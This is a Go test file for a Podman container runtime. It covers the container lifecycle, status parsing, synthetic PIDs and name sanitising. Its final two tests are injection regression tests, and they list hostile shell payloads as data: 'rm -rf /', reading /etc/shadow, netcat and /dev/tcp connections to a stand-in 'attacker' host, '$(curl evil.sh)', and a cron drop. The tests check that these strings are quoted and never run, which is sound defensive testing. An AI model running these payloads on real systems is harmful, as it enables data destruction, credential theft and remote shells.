package runtime

import (
	"context"
	"errors"
	"strings"
	"testing"
	"time"

	"git.cloudinit.dev/coreci/orca/internal/jobspec"
	"git.cloudinit.dev/coreci/orca/internal/sshpush"
)

// allocNoImage returns an alloc whose Spec has a Runtime block with a
// command but no image.
func allocNoImage(runtime string) *Alloc {
	return &Alloc{
		ID:      "x",
		Runtime: runtime,
		Spec: &jobspec.WorkloadSpec{
			Runtime: &jobspec.RuntimeBlock{Command: "/bin/true"},
		},
	}
}

// TestPodmanRuntime_HappyPath wires a fake server that responds to
// podman pull/run/stop/rm/inspect and verifies the full lifecycle.
func TestPodmanRuntime_HappyPath(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()

	const cid = "abc123def456"
	srv.setHandler("podman pull", func(cmd string) ([]byte, int) { return nil, 0 })
	srv.setHandler("podman run", func(cmd string) ([]byte, int) { return []byte(cid + "\n"), 0 })
	srv.setHandler("podman stop", func(cmd string) ([]byte, int) { return nil, 0 })
	srv.setHandler("podman rm", func(cmd string) ([]byte, int) { return nil, 0 })
	srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
		return []byte("true\n"), 0
	})

	tr := realTransport(t, srv)
	defer tr.Close()

	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "docker.io/library/alpine:latest", "sleep 30", srv.addr())

	ctx, cancel := withTimeout(10 * time.Second)
	defer cancel()
	if err := p.Prepare(ctx, a); err != nil {
		t.Fatalf("Prepare: %v", err)
	}
	pid, err := p.Start(ctx, a)
	if err != nil {
		t.Fatalf("Start: %v", err)
	}
	if pid <= 0 {
		t.Fatalf("pid = %d, want > 0", pid)
	}
	st, err := p.Status(ctx, a)
	if err != nil {
		t.Fatalf("Status: %v", err)
	}
	if st != StateRunning {
		t.Errorf("Status = %q, want running", st)
	}
	if err := p.Stop(ctx, a); err != nil {
		t.Fatalf("Stop: %v", err)
	}
}

// TestPodmanRuntime_StatusFalse verifies Status returns stopped when
// the container reports running=false.
func TestPodmanRuntime_StatusFalse(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()
	srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
		return []byte("false\n"), 0
	})
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img", "sleep 1", srv.addr())
	st, err := p.Status(context.Background(), a)
	if err != nil {
		t.Fatalf("Status: %v", err)
	}
	if st != StateStopped {
		t.Errorf("Status = %q, want stopped", st)
	}
}

// TestPodmanRuntime_StatusBadOutput verifies Status returns failed on
// unexpected inspect output.
func TestPodmanRuntime_StatusBadOutput(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()
	srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
		return []byte("garbage\n"), 0
	})
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img", "sleep 1", srv.addr())
	if _, err := p.Status(context.Background(), a); err == nil {
		t.Error("Status with bad output should error")
	}
}

// TestPodmanRuntime_PrepareNoImage verifies Prepare errors when the
// alloc has no image.
func TestPodmanRuntime_PrepareNoImage(t *testing.T) {
	p := NewPodmanRuntime(nil)
	a := allocNoImage("podman")
	if err := p.Prepare(context.Background(), a); err == nil {
		t.Error("Prepare with no image should error")
	}
}

// TestPodmanRuntime_PrepareTransportError verifies Prepare propagates a
// transport error (podman pull fails).
func TestPodmanRuntime_PrepareTransportError(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()
	srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
		return []byte("manifest unknown\n"), 2
	})
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img", "sleep 1", srv.addr())
	if err := p.Prepare(context.Background(), a); err == nil {
		t.Error("Prepare with failed pull should error")
	}
}

// TestPodmanRuntime_StartNoImage verifies Start errors with no image.
func TestPodmanRuntime_StartNoImage(t *testing.T) {
	p := NewPodmanRuntime(nil)
	a := allocNoImage("podman")
	if _, err := p.Start(context.Background(), a); err == nil {
		t.Error("Start with no image should error")
	}
}

// TestPodmanRuntime_StopTransportError verifies Stop propagates errors.
func TestPodmanRuntime_StopTransportError(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()
	srv.setHandler("podman stop", func(cmd string) ([]byte, int) {
		return []byte("no such container\n"), 1
	})
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img", "sleep 1", srv.addr())
	if err := p.Stop(context.Background(), a); err == nil {
		t.Error("Stop with missing container should error")
	}
}

// TestPodmanRuntime_StatusInspectError verifies Status returns failed
// when inspect itself errors.
func TestPodmanRuntime_StatusInspectError(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()
	srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
		return []byte("no such container\n"), 1
	})
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img", "sleep 1", srv.addr())
	st, err := p.Status(context.Background(), a)
	if err == nil {
		t.Error("Status with inspect error should error")
	}
	if st != StateFailed {
		t.Errorf("Status = %q, want failed", st)
	}
}

// TestPodmanCidToPID verifies the synthetic PID derivation.
func TestPodmanCidToPID(t *testing.T) {
	if got := podmanCidToPID(""); got != 1 {
		t.Errorf("empty cid -> %d, want 1", got)
	}
	if got := podmanCidToPID("a"); got <= 0 {
		t.Errorf("single hex -> %d, want > 0", got)
	}
	if got := podmanCidToPID("abcd"); got <= 0 {
		t.Errorf("abcd -> %d, want > 0", got)
	}
	// non-hex chars fall through to 0 contributions but still yield
	// a positive result (>= 1 by the floor).
	if got := podmanCidToPID("xyz123"); got <= 0 {
		t.Errorf("xyz123 -> %d, want > 0", got)
	}
}

// TestContainerNameSanitization verifies the container-name sanitizer
// uppercases and strips disallowed characters.
func TestContainerNameSanitization(t *testing.T) {
	a := &Alloc{ID: "ALLOC_1.2.3", Spec: nil, Runtime: "podman"}
	got := containerName(a)
	if !strings.HasPrefix(got, "orca-") {
		t.Errorf("containerName = %q, want orca- prefix", got)
	}
	if strings.Contains(got, ".") {
		t.Errorf("containerName = %q, should not contain '.'", got)
	}
}

// TestPodmanRuntime_DialError verifies Prepare fails fast when the
// peer is unreachable (no fake server).
func TestPodmanRuntime_DialError(t *testing.T) {
	srv := newFakeServer(t)
	// close immediately so dial fails.
	srv.close()
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img", "sleep 1", srv.addr())
	if err := p.Prepare(context.Background(), a); err == nil {
		t.Error("Prepare against dead peer should error")
	} else if !errors.Is(err, sshpush.ErrTransient) && !errors.Is(err, sshpush.ErrPermanent) {
		// acceptable: either transient (retry exhausted) or permanent.
		t.Logf("Prepare err (acceptable): %v", err)
	}
}

// --- REQ-119 / F3 command injection regression tests ---

// TestPodmanRuntime_CommandInjection verifies that a jobspec command
// containing shell metacharacters is shell-quoted, not interpreted by
// the remote shell. The fake server captures the exact command string
// and we assert the metacharacters are wrapped in single quotes.
func TestPodmanRuntime_CommandInjection(t *testing.T) {
	injections := []string{
		"sleep 1; rm -rf /",
		"sleep 1 && cat /etc/shadow",
		"sleep 1 | nc attacker 4444",
		"sleep 1 $(curl evil.sh)",
		"sleep 1 `whoami`",
		"sleep 1\nwhoami",
		"sleep 1; echo $IFS",
		"sleep 1 > /etc/cron.d/pwn",
		"sleep 1 < /dev/tcp/attacker/4444",
		"sleep 1; (id)",
	}
	for _, inj := range injections {
		t.Run(inj, func(t *testing.T) {
			srv := newFakeServer(t)
			defer srv.close()
			var captured string
			srv.setHandler("podman run", func(cmd string) ([]byte, int) {
				captured = cmd
				return []byte("abc123def456\n"), 0
			})
			tr := realTransport(t, srv)
			defer tr.Close()
			p := NewPodmanRuntime(tr)
			a := allocWithNode("podman", "img", inj, srv.addr())
			if _, err := p.Start(context.Background(), a); err != nil {
				t.Fatalf("Start: %v", err)
			}
			// The injection string must appear shell-quoted (wrapped in
			// single quotes, embedded quotes escaped) — NOT bare in
			// the command. We assert the dangerous characters don't
			// appear unquoted after the image argument.
			if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
				t.Errorf("injection not shell-quoted in command:\n%s", captured)
			}
			// The raw unquoted injection must NOT appear as a bare
			// command token (i.e., no `; rm -rf /` outside quotes).
			// A robust check: the command should not contain the raw
			// injection string as an unquoted substring. Since the
			// quoted form wraps it, the raw form only appears inside
			// the quotes.
			bare := strings.ReplaceAll(inj, "'", "'\\''")
			quoted := "'" + bare + "'"
			// Remove the quoted occurrence; if the bare injection
			// still remains, it was emitted unquoted somewhere.
			withoutQuoted := strings.Replace(captured, quoted, "", 1)
			if strings.Contains(withoutQuoted, inj) {
				t.Errorf("injection appears unquoted in command:\n%s", captured)
			}
		})
	}
}

// TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted
// (double-quoted via %q), so an image with shell metacharacters cannot
// break out. The image is safe-by-%q, but we assert it stays quoted.
func TestPodmanRuntime_ImageNameInjection(t *testing.T) {
	srv := newFakeServer(t)
	defer srv.close()
	var captured string
	srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
		captured = cmd
		return nil, 0
	})
	tr := realTransport(t, srv)
	defer tr.Close()
	p := NewPodmanRuntime(tr)
	a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr())
	_ = p.Prepare(context.Background(), a)
	// %q double-quotes the image, so `; rm -rf /` is inside quotes.
	if !strings.Contains(captured, "\"img; rm -rf /\"") {
		t.Errorf("image not pct-q-quoted in pull:\n%s", captured)
	}
}
